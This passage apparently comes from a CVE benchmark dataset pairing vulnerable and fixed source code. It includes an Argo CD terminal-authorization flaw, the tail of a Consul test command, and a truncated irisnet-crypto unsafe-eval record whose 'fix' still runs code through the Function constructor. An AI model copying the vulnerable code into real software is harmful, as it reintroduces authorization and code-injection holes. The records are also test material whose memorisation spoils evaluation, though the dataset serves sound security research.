ghcr.io/anonymous2578-data/cve-2022-3920:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/consul\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestACL_filterPreparedQueries|TestACL_filterCheckServiceNodes|TestACL_filterCoordinates|TestACL_filterIntentions|TestACL_filterImported_IndexedServiceNodes|TestACL_unhandledFilterType|TestACL_filterImported_CheckServiceNode|TestACL_filterServiceList|TestACL_filterImported_IndexedHealthChecks|TestACL_filterIndexedNodesWithGateways|TestACL_filterPreparedQueryExecuteResponse|TestACL_filterNodeServices|TestACL_filterHealthChecks|TestACL_filterImported_IndexedNodes|TestACL_filterDatacenterCheckServiceNodes|TestACL_filterIndexedServiceDump|TestACL_filterImported_IndexedNodeServiceList|TestACL_filterServiceTopology|TestACL_filterGatewayServices|TestFilterACL_redactTokenSecrets|TestACL_filterNodeServiceList|TestACL_filterImported_IndexedNodeServices|TestFilterACL_redactTokenSecret|TestACL_filterSessions|TestACL_filterNodes|TestACL_redactPreparedQueryTokens|TestACL_filterServices|TestACL_filterNodeDump|TestACL_filterServiceNodes)$' github.com/hashicorp/consul/agent/structs/aclfilter"}
{"cve_id": "CVE-2024-41666", "cve_description": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Argo CD has a Web-based terminal that allows users to get a shell inside a running pod, just as they would with kubectl exec. Starting in version 2.6.0, when the administrator enables this function and grants permission to the user `p, role:myrole, exec, create, */*, allow`, even if the user revokes this permission, the user can still perform operations in the container, as long as the user keeps the terminal view open for a long time. Although the token expiration and revocation of the user are fixed, however, the fix does not address the situation of revocation of only user `p, role:myrole, exec, create, */*, allow` permissions, which may still lead to the leakage of sensitive information. A patch for this vulnerability has been released in Argo CD versions 2.11.7, 2.10.16, and 2.9.21.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/argoproj/argo-cd", "patch_url": ["https://github.com/argoproj/argo-cd/commit/e96f32d233504101ddac028a5bf8117433d333d6", "https://github.com/argoproj/argo-cd/commit/ef535230d8bd8ad7b18aab1ea1063e9751d348c4", "https://github.com/argoproj/argo-cd/commit/05edb2a9ca48f0f10608c1b49fbb0cf7164f6476"], "programing_language": "Go", "vul_func": [{"id": "vul_go_235_1", "commit": "212d320", "file_path": "server/application/terminal.go", "start_line": 91, "end_line": 259, "snippet": "func (s *terminalHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tq := r.URL.Query()\n\n\tpodName := q.Get(\"pod\")\n\tcontainer := q.Get(\"container\")\n\tapp := q.Get(\"appName\")\n\tproject := q.Get(\"projectName\")\n\tnamespace := q.Get(\"namespace\")\n\n\tif podName == \"\" || container == \"\" || app == \"\" || project == \"\" || namespace == \"\" {\n\t\thttp.Error(w, \"Missing required parameters\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tappNamespace := q.Get(\"appNamespace\")\n\n\tif !argo.IsValidPodName(podName) {\n\t\thttp.Error(w, \"Pod name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidContainerName(container) {\n\t\thttp.Error(w, \"Container name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidAppName(app) {\n\t\thttp.Error(w, \"App name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidProjectName(project) {\n\t\thttp.Error(w, \"Project name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidNamespaceName(namespace) {\n\t\thttp.Error(w, \"Namespace name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidNamespaceName(appNamespace) {\n\t\thttp.Error(w, \"App namespace name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tns := appNamespace\n\tif ns == \"\" {\n\t\tns = s.namespace\n\t}\n\n\tif !security.IsNamespaceEnabled(ns, s.namespace, s.enabledNamespaces) {\n\t\thttp.Error(w, security.NamespaceNotPermittedError(ns).Error(), http.StatusForbidden)\n\t\treturn\n\t}\n\n\tshell := q.Get(\"shell\") // No need to validate. Will only be used if it's in the allow-list.\n\n\tctx := r.Context()\n\n\tappRBACName := security.RBACName(s.namespace, project, appNamespace, app)\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionGet, appRBACName); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceExec, rbacpolicy.ActionCreate, appRBACName); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\tfieldLog := log.WithFields(log.Fields{\"application\": app, \"userName\": sessionmgr.Username(ctx), \"container\": container,\n\t\t\"podName\": podName, \"namespace\": namespace, \"project\": project, \"appNamespace\": appNamespace})\n\n\ta, err := s.appLister.Applications(ns).Get(app)\n\tif err != nil {\n\t\tif apierr.IsNotFound(err) {\n\t\t\thttp.Error(w, \"App not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\tfieldLog.Errorf(\"Error when getting app %q when launching a terminal: %s\", app, err)\n\t\thttp.Error(w, \"Cannot get app\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif a.Spec.Project != project {\n\t\tfieldLog.Warnf(\"The wrong project (%q) was specified for the app %q when launching a terminal\", project, app)\n\t\thttp.Error(w, \"The wrong project was specified for the app\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tconfig, err := s.getApplicationClusterRawConfig(ctx, a)\n\tif err != nil {\n\t\thttp.Error(w, \"Cannot get raw cluster config\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tkubeClientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\thttp.Error(w, \"Cannot initialize kubeclient\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tresourceTree, err := s.appResourceTreeFn(ctx, a)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// From the tree find pods which match the given pod.\n\tif !podExists(resourceTree.Nodes, podName, namespace) {\n\t\thttp.Error(w, \"Pod doesn't belong to specified app\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tpod, err := kubeClientset.CoreV1().Pods(namespace).Get(ctx, podName, metav1.GetOptions{})\n\tif err != nil {\n\t\tfieldLog.Errorf(\"error retrieving pod: %s\", err)\n\t\thttp.Error(w, \"Cannot find pod\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif pod.Status.Phase != v1.PodRunning {\n\t\thttp.Error(w, \"Pod not running\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tvar findContainer bool\n\tfor _, c := range pod.Spec.Containers {\n\t\tif container == c.Name {\n\t\t\tfindContainer = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !findContainer {\n\t\tfieldLog.Warn(\"terminal container not found\")\n\t\thttp.Error(w, \"Cannot find container\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tfieldLog.Info(\"terminal session starting\")\n\n\tsession, err := newTerminalSession(w, r, nil, s.sessionManager)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to start terminal session\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tdefer session.Done()\n\n\t// send pings across the WebSocket channel at regular intervals to keep it alive through\n\t// load balancers which may close an idle connection after some period of time\n\tgo session.StartKeepalives(time.Second * 5)\n\n\tif isValidShell(s.allowedShells, shell) {\n\t\tcmd := []string{shell}\n\t\terr = startProcess(kubeClientset, config, namespace, podName, container, cmd, session)\n\t} else {\n\t\t// No shell given or the given shell was not allowed: try the configured shells until one succeeds or all fail.\n\t\tfor _, testShell := range s.allowedShells {\n\t\t\tcmd := []string{testShell}\n\t\t\tif err = startProcess(kubeClientset, config, namespace, podName, container, cmd, session); err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to exec container\", http.StatusBadRequest)\n\t\tsession.Close()\n\t\treturn\n\t}\n\n\tsession.Close()\n}"}, {"id": "vul_go_235_2", "commit": "212d320", "file_path": "server/application/websocket.go", "start_line": 3, "end_line": 16, "snippet": "import (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/argoproj/argo-cd/v2/common\"\n\thttputil \"github.com/argoproj/argo-cd/v2/util/http\"\n\tutil_session \"github.com/argoproj/argo-cd/v2/util/session\"\n\t\"net/http\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n\tlog \"github.com/sirupsen/logrus\"\n\t\"k8s.io/client-go/tools/remotecommand\"\n)"}, {"id": "vul_go_235_3", "commit": "212d320", "file_path": "server/application/websocket.go", "start_line": 33, "end_line": 42, "snippet": "type terminalSession struct {\n\twsConn         *websocket.Conn\n\tsizeChan       chan remotecommand.TerminalSize\n\tdoneChan       chan struct{}\n\ttty            bool\n\treadLock       sync.Mutex\n\twriteLock      sync.Mutex\n\tsessionManager *util_session.SessionManager\n\ttoken          *string\n}"}, {"id": "vul_go_235_4", "commit": "212d320", "file_path": "server/application/websocket.go", "start_line": 51, "end_line": 70, "snippet": "func newTerminalSession(w http.ResponseWriter, r *http.Request, responseHeader http.Header, sessionManager *util_session.SessionManager) (*terminalSession, error) {\n\ttoken, err := getToken(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconn, err := upgrader.Upgrade(w, r, responseHeader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsession := &terminalSession{\n\t\twsConn:         conn,\n\t\ttty:            true,\n\t\tsizeChan:       make(chan remotecommand.TerminalSize),\n\t\tdoneChan:       make(chan struct{}),\n\t\tsessionManager: sessionManager,\n\t\ttoken:          &token,\n\t}\n\treturn session, nil\n}"}, {"id": "vul_go_235_5", "commit": "212d320", "file_path": "server/application/websocket.go", "start_line": 129, "end_line": 159, "snippet": "func (t *terminalSession) Read(p []byte) (int, error) {\n\t// check if token still valid\n\t_, newToken, err := t.sessionManager.VerifyToken(*t.token)\n\t// err in case if token is revoked, newToken in case if refresh happened\n\tif err != nil || newToken != \"\" {\n\t\t// need to send reconnect code in case if token was refreshed\n\t\treturn t.reconnect()\n\t}\n\n\tt.readLock.Lock()\n\t_, message, err := t.wsConn.ReadMessage()\n\tt.readLock.Unlock()\n\tif err != nil {\n\t\tlog.Errorf(\"read message err: %v\", err)\n\t\treturn copy(p, EndOfTransmission), err\n\t}\n\tvar msg TerminalMessage\n\tif err := json.Unmarshal(message, &msg); err != nil {\n\t\tlog.Errorf(\"read parse message err: %v\", err)\n\t\treturn copy(p, EndOfTransmission), err\n\t}\n\tswitch msg.Operation {\n\tcase \"stdin\":\n\t\treturn copy(p, msg.Data), nil\n\tcase \"resize\":\n\t\tt.sizeChan <- remotecommand.TerminalSize{Width: msg.Cols, Height: msg.Rows}\n\t\treturn 0, nil\n\tdefault:\n\t\treturn copy(p, EndOfTransmission), fmt.Errorf(\"unknown message type %s\", msg.Operation)\n\t}\n}"}], "fix_func": [{"id": "fix_go_235_1", "commit": "e96f32d233504101ddac028a5bf8117433d333d6", "file_path": "server/application/terminal.go", "start_line": 91, "end_line": 259, "snippet": "func (s *terminalHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tq := r.URL.Query()\n\n\tpodName := q.Get(\"pod\")\n\tcontainer := q.Get(\"container\")\n\tapp := q.Get(\"appName\")\n\tproject := q.Get(\"projectName\")\n\tnamespace := q.Get(\"namespace\")\n\n\tif podName == \"\" || container == \"\" || app == \"\" || project == \"\" || namespace == \"\" {\n\t\thttp.Error(w, \"Missing required parameters\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tappNamespace := q.Get(\"appNamespace\")\n\n\tif !argo.IsValidPodName(podName) {\n\t\thttp.Error(w, \"Pod name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidContainerName(container) {\n\t\thttp.Error(w, \"Container name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidAppName(app) {\n\t\thttp.Error(w, \"App name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidProjectName(project) {\n\t\thttp.Error(w, \"Project name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidNamespaceName(namespace) {\n\t\thttp.Error(w, \"Namespace name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif !argo.IsValidNamespaceName(appNamespace) {\n\t\thttp.Error(w, \"App namespace name is not valid\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tns := appNamespace\n\tif ns == \"\" {\n\t\tns = s.namespace\n\t}\n\n\tif !security.IsNamespaceEnabled(ns, s.namespace, s.enabledNamespaces) {\n\t\thttp.Error(w, security.NamespaceNotPermittedError(ns).Error(), http.StatusForbidden)\n\t\treturn\n\t}\n\n\tshell := q.Get(\"shell\") // No need to validate. Will only be used if it's in the allow-list.\n\n\tctx := r.Context()\n\n\tappRBACName := security.RBACName(s.namespace, project, appNamespace, app)\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionGet, appRBACName); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceExec, rbacpolicy.ActionCreate, appRBACName); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\tfieldLog := log.WithFields(log.Fields{\"application\": app, \"userName\": sessionmgr.Username(ctx), \"container\": container,\n\t\t\"podName\": podName, \"namespace\": namespace, \"project\": project, \"appNamespace\": appNamespace})\n\n\ta, err := s.appLister.Applications(ns).Get(app)\n\tif err != nil {\n\t\tif apierr.IsNotFound(err) {\n\t\t\thttp.Error(w, \"App not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\tfieldLog.Errorf(\"Error when getting app %q when launching a terminal: %s\", app, err)\n\t\thttp.Error(w, \"Cannot get app\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif a.Spec.Project != project {\n\t\tfieldLog.Warnf(\"The wrong project (%q) was specified for the app %q when launching a terminal\", project, app)\n\t\thttp.Error(w, \"The wrong project was specified for the app\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tconfig, err := s.getApplicationClusterRawConfig(ctx, a)\n\tif err != nil {\n\t\thttp.Error(w, \"Cannot get raw cluster config\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tkubeClientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\thttp.Error(w, \"Cannot initialize kubeclient\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tresourceTree, err := s.appResourceTreeFn(ctx, a)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// From the tree find pods which match the given pod.\n\tif !podExists(resourceTree.Nodes, podName, namespace) {\n\t\thttp.Error(w, \"Pod doesn't belong to specified app\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tpod, err := kubeClientset.CoreV1().Pods(namespace).Get(ctx, podName, metav1.GetOptions{})\n\tif err != nil {\n\t\tfieldLog.Errorf(\"error retrieving pod: %s\", err)\n\t\thttp.Error(w, \"Cannot find pod\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif pod.Status.Phase != v1.PodRunning {\n\t\thttp.Error(w, \"Pod not running\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tvar findContainer bool\n\tfor _, c := range pod.Spec.Containers {\n\t\tif container == c.Name {\n\t\t\tfindContainer = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !findContainer {\n\t\tfieldLog.Warn(\"terminal container not found\")\n\t\thttp.Error(w, \"Cannot find container\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tfieldLog.Info(\"terminal session starting\")\n\n\tsession, err := newTerminalSession(ctx, w, r, nil, s.sessionManager, appRBACName, s.enf)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to start terminal session\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tdefer session.Done()\n\n\t// send pings across the WebSocket channel at regular intervals to keep it alive through\n\t// load balancers which may close an idle connection after some period of time\n\tgo session.StartKeepalives(time.Second * 5)\n\n\tif isValidShell(s.allowedShells, shell) {\n\t\tcmd := []string{shell}\n\t\terr = startProcess(kubeClientset, config, namespace, podName, container, cmd, session)\n\t} else {\n\t\t// No shell given or the given shell was not allowed: try the configured shells until one succeeds or all fail.\n\t\tfor _, testShell := range s.allowedShells {\n\t\t\tcmd := []string{testShell}\n\t\t\tif err = startProcess(kubeClientset, config, namespace, podName, container, cmd, session); err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to exec container\", http.StatusBadRequest)\n\t\tsession.Close()\n\t\treturn\n\t}\n\n\tsession.Close()\n}"}, {"id": "fix_go_235_2", "commit": "e96f32d233504101ddac028a5bf8117433d333d6", "file_path": "server/application/websocket.go", "start_line": 3, "end_line": 21, "snippet": "import (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/argoproj/argo-cd/v2/server/rbacpolicy\"\n\t\"github.com/argoproj/argo-cd/v2/util/rbac\"\n\n\t\"github.com/argoproj/argo-cd/v2/common\"\n\thttputil \"github.com/argoproj/argo-cd/v2/util/http\"\n\tutil_session \"github.com/argoproj/argo-cd/v2/util/session\"\n\n\t\"github.com/gorilla/websocket\"\n\tlog \"github.com/sirupsen/logrus\"\n\t\"k8s.io/client-go/tools/remotecommand\"\n)"}, {"id": "fix_go_235_3", "commit": "e96f32d233504101ddac028a5bf8117433d333d6", "file_path": "server/application/websocket.go", "start_line": 38, "end_line": 50, "snippet": "type terminalSession struct {\n\tctx            context.Context\n\twsConn         *websocket.Conn\n\tsizeChan       chan remotecommand.TerminalSize\n\tdoneChan       chan struct{}\n\ttty            bool\n\treadLock       sync.Mutex\n\twriteLock      sync.Mutex\n\tsessionManager *util_session.SessionManager\n\ttoken          *string\n\tappRBACName    string\n\tenf            *rbac.Enforcer\n}"}, {"id": "fix_go_235_4", "commit": "e96f32d233504101ddac028a5bf8117433d333d6", "file_path": "server/application/websocket.go", "start_line": 59, "end_line": 81, "snippet": "func newTerminalSession(ctx context.Context, w http.ResponseWriter, r *http.Request, responseHeader http.Header, sessionManager *util_session.SessionManager, appRBACName string, enf *rbac.Enforcer) (*terminalSession, error) {\n\ttoken, err := getToken(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconn, err := upgrader.Upgrade(w, r, responseHeader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsession := &terminalSession{\n\t\tctx:            ctx,\n\t\twsConn:         conn,\n\t\ttty:            true,\n\t\tsizeChan:       make(chan remotecommand.TerminalSize),\n\t\tdoneChan:       make(chan struct{}),\n\t\tsessionManager: sessionManager,\n\t\ttoken:          &token,\n\t\tappRBACName:    appRBACName,\n\t\tenf:            enf,\n\t}\n\treturn session, nil\n}"}, {"id": "fix_go_235_5", "commit": "e96f32d233504101ddac028a5bf8117433d333d6", "file_path": "server/application/websocket.go", "start_line": 163, "end_line": 199, "snippet": "func (t *terminalSession) Read(p []byte) (int, error) {\n\t// check if token still valid\n\t_, newToken, err := t.sessionManager.VerifyToken(*t.token)\n\t// err in case if token is revoked, newToken in case if refresh happened\n\tif err != nil || newToken != \"\" {\n\t\t// need to send reconnect code in case if token was refreshed\n\t\treturn t.reconnect()\n\t}\n\n\t// validate permissions\n\tcode, err := t.validatePermissions(p)\n\tif err != nil {\n\t\treturn code, err\n\t}\n\n\tt.readLock.Lock()\n\t_, message, err := t.wsConn.ReadMessage()\n\tt.readLock.Unlock()\n\tif err != nil {\n\t\tlog.Errorf(\"read message err: %v\", err)\n\t\treturn copy(p, EndOfTransmission), err\n\t}\n\tvar msg TerminalMessage\n\tif err := json.Unmarshal(message, &msg); err != nil {\n\t\tlog.Errorf(\"read parse message err: %v\", err)\n\t\treturn copy(p, EndOfTransmission), err\n\t}\n\tswitch msg.Operation {\n\tcase \"stdin\":\n\t\treturn copy(p, msg.Data), nil\n\tcase \"resize\":\n\t\tt.sizeChan <- remotecommand.TerminalSize{Width: msg.Cols, Height: msg.Rows}\n\t\treturn 0, nil\n\tdefault:\n\t\treturn copy(p, EndOfTransmission), fmt.Errorf(\"unknown message type %s\", msg.Operation)\n\t}\n}"}, {"id": "fix_go_235_6", "commit": "e96f32d233504101ddac028a5bf8117433d333d6", "file_path": "server/application/websocket.go", "start_line": 139, "end_line": 161, "snippet": "func (t *terminalSession) validatePermissions(p []byte) (int, error) {\n\tpermissionDeniedMessage, _ := json.Marshal(TerminalMessage{\n\t\tOperation: \"stdout\",\n\t\tData:      \"Permission denied\",\n\t})\n\tif err := t.enf.EnforceErr(t.ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionGet, t.appRBACName); err != nil {\n\t\terr = t.wsConn.WriteMessage(websocket.TextMessage, permissionDeniedMessage)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"permission denied message err: %v\", err)\n\t\t}\n\t\treturn copy(p, EndOfTransmission), permissionDeniedErr\n\t}\n\n\tif err := t.enf.EnforceErr(t.ctx.Value(\"claims\"), rbacpolicy.ResourceExec, rbacpolicy.ActionCreate, t.appRBACName); err != nil {\n\t\terr = t.wsConn.WriteMessage(websocket.TextMessage, permissionDeniedMessage)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"permission denied message err: %v\", err)\n\t\t}\n\t\treturn copy(p, EndOfTransmission), permissionDeniedErr\n\t}\n\treturn 0, nil\n}\n"}], "vul_patch": "--- a/server/application/terminal.go\n+++ b/server/application/terminal.go\n@@ -135,7 +135,7 @@\n \n \tfieldLog.Info(\"terminal session starting\")\n \n-\tsession, err := newTerminalSession(w, r, nil, s.sessionManager)\n+\tsession, err := newTerminalSession(ctx, w, r, nil, s.sessionManager, appRBACName, s.enf)\n \tif err != nil {\n \t\thttp.Error(w, \"Failed to start terminal session\", http.StatusBadRequest)\n \t\treturn\n\n--- a/server/application/websocket.go\n+++ b/server/application/websocket.go\n@@ -1,12 +1,17 @@\n import (\n+\t\"context\"\n \t\"encoding/json\"\n \t\"fmt\"\n+\t\"net/http\"\n+\t\"sync\"\n+\t\"time\"\n+\n+\t\"github.com/argoproj/argo-cd/v2/server/rbacpolicy\"\n+\t\"github.com/argoproj/argo-cd/v2/util/rbac\"\n+\n \t\"github.com/argoproj/argo-cd/v2/common\"\n \thttputil \"github.com/argoproj/argo-cd/v2/util/http\"\n \tutil_session \"github.com/argoproj/argo-cd/v2/util/session\"\n-\t\"net/http\"\n-\t\"sync\"\n-\t\"time\"\n \n \t\"github.com/gorilla/websocket\"\n \tlog \"github.com/sirupsen/logrus\"\n\n--- a/server/application/websocket.go\n+++ b/server/application/websocket.go\n@@ -1,4 +1,5 @@\n type terminalSession struct {\n+\tctx            context.Context\n \twsConn         *websocket.Conn\n \tsizeChan       chan remotecommand.TerminalSize\n \tdoneChan       chan struct{}\n@@ -7,4 +8,6 @@\n \twriteLock      sync.Mutex\n \tsessionManager *util_session.SessionManager\n \ttoken          *string\n+\tappRBACName    string\n+\tenf            *rbac.Enforcer\n }\n\n--- a/server/application/websocket.go\n+++ b/server/application/websocket.go\n@@ -1,4 +1,4 @@\n-func newTerminalSession(w http.ResponseWriter, r *http.Request, responseHeader http.Header, sessionManager *util_session.SessionManager) (*terminalSession, error) {\n+func newTerminalSession(ctx context.Context, w http.ResponseWriter, r *http.Request, responseHeader http.Header, sessionManager *util_session.SessionManager, appRBACName string, enf *rbac.Enforcer) (*terminalSession, error) {\n \ttoken, err := getToken(r)\n \tif err != nil {\n \t\treturn nil, err\n@@ -9,12 +9,15 @@\n \t\treturn nil, err\n \t}\n \tsession := &terminalSession{\n+\t\tctx:            ctx,\n \t\twsConn:         conn,\n \t\ttty:            true,\n \t\tsizeChan:       make(chan remotecommand.TerminalSize),\n \t\tdoneChan:       make(chan struct{}),\n \t\tsessionManager: sessionManager,\n \t\ttoken:          &token,\n+\t\tappRBACName:    appRBACName,\n+\t\tenf:            enf,\n \t}\n \treturn session, nil\n }\n\n--- a/server/application/websocket.go\n+++ b/server/application/websocket.go\n@@ -5,6 +5,12 @@\n \tif err != nil || newToken != \"\" {\n \t\t// need to send reconnect code in case if token was refreshed\n \t\treturn t.reconnect()\n+\t}\n+\n+\t// validate permissions\n+\tcode, err := t.validatePermissions(p)\n+\tif err != nil {\n+\t\treturn code, err\n \t}\n \n \tt.readLock.Lock()\n\n--- /dev/null\n+++ b/server/application/websocket.go\n@@ -0,0 +1,22 @@\n+func (t *terminalSession) validatePermissions(p []byte) (int, error) {\n+\tpermissionDeniedMessage, _ := json.Marshal(TerminalMessage{\n+\t\tOperation: \"stdout\",\n+\t\tData:      \"Permission denied\",\n+\t})\n+\tif err := t.enf.EnforceErr(t.ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionGet, t.appRBACName); err != nil {\n+\t\terr = t.wsConn.WriteMessage(websocket.TextMessage, permissionDeniedMessage)\n+\t\tif err != nil {\n+\t\t\tlog.Errorf(\"permission denied message err: %v\", err)\n+\t\t}\n+\t\treturn copy(p, EndOfTransmission), permissionDeniedErr\n+\t}\n+\n+\tif err := t.enf.EnforceErr(t.ctx.Value(\"claims\"), rbacpolicy.ResourceExec, rbacpolicy.ActionCreate, t.appRBACName); err != nil {\n+\t\terr = t.wsConn.WriteMessage(websocket.TextMessage, permissionDeniedMessage)\n+\t\tif err != nil {\n+\t\t\tlog.Errorf(\"permission denied message err: %v\", err)\n+\t\t}\n+\t\treturn copy(p, EndOfTransmission), permissionDeniedErr\n+\t}\n+\treturn 0, nil\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-9115", "cve_description": "In irisnet-crypto before 1.1.7 for IRISnet, the util/utils.js file allows code execution because of unsafe eval usage.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/dreamer-zq/irisnet-crypto", "patch_url": ["https://github.com/dreamer-zq/irisnet-crypto/commit/7ea0e65ece9c059ad8cb1ccec8e4c849af58c48d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_207_1", "commit": "463024f", "file_path": "util/utils.js", "start_line": 4, "end_line": 29, "snippet": "    static sortObjectKeys(obj) {\n        let sort = function (obj) {\n            let tmp = {};\n            Object.keys(obj).sort().forEach(function (k) {\n                if (Array.isArray(obj[k])) {\n                    let p = [];\n                    obj[k].forEach(function (item) {\n                        if (item != null && typeof(item) === \"object\") {\n                            p.push(sort(item));\n                        } else {\n                            p.push(item);\n                        }\n                    });\n                    tmp[k] = p;\n                } else if (obj[k] != null && typeof(obj[k]) === \"object\") {\n                    tmp[k] = sort(obj[k]);\n                } else if (obj[k] != null && typeof(obj[k]) === \"function\") {\n                    tmp[k] = eval(obj[k].toString())\n                } else {\n                    tmp[k] = new String(obj[k]).toString();\n                }\n            });\n            return tmp;\n        };\n        return sort(obj)\n    }"}, {"id": "vul_js_207_2", "commit": "463024f", "file_path": "util/utils.js", "start_line": 63, "end_line": 63, "snippet": "};"}], "fix_func": [{"id": "fix_js_207_1", "commit": "7ea0e65", "file_path": "util/utils.js", "start_line": 4, "end_line": 29, "snippet": "    static sortObjectKeys(obj) {\n        let sort = function (obj) {\n            let tmp = {};\n            Object.keys(obj).sort().forEach(function (k) {\n                if (Array.isArray(obj[k])) {\n                    let p = [];\n                    obj[k].forEach(function (item) {\n                        if (item != null && typeof(item) === \"object\") {\n                            p.push(sort(item));\n                        } else {\n                            p.push(item);\n                        }\n                    });\n                    tmp[k] = p;\n                } else if (obj[k] != null && typeof(obj[k]) === \"object\") {\n                    tmp[k] = sort(obj[k]);\n                } else if (obj[k] != null && typeof(obj[k]) === \"function\") {\n                    tmp[k] = evil(obj[k].toString())\n                } else {\n                    tmp[k] = new String(obj[k]).toString();\n                }\n            });\n            return tmp;\n        };\n        return sort(obj)\n    }"}, {"id": "fix_js_207_2", "commit": "7ea0e65", "file_path": "util/utils.js", "start_line": 65, "end_line": 68, "snippet": "function evil(fn) {\n    let Fn = Function;\n    return new Fn('return ' + fn)();\n}"}], "vul_patch": "--- a/util/utils.js\n+++ b/util/utils.js\n@@ -15,7 +15,7 @@\n                 } else if (obj[k] != null && typeof(obj[k]) === \"object\") {\n                     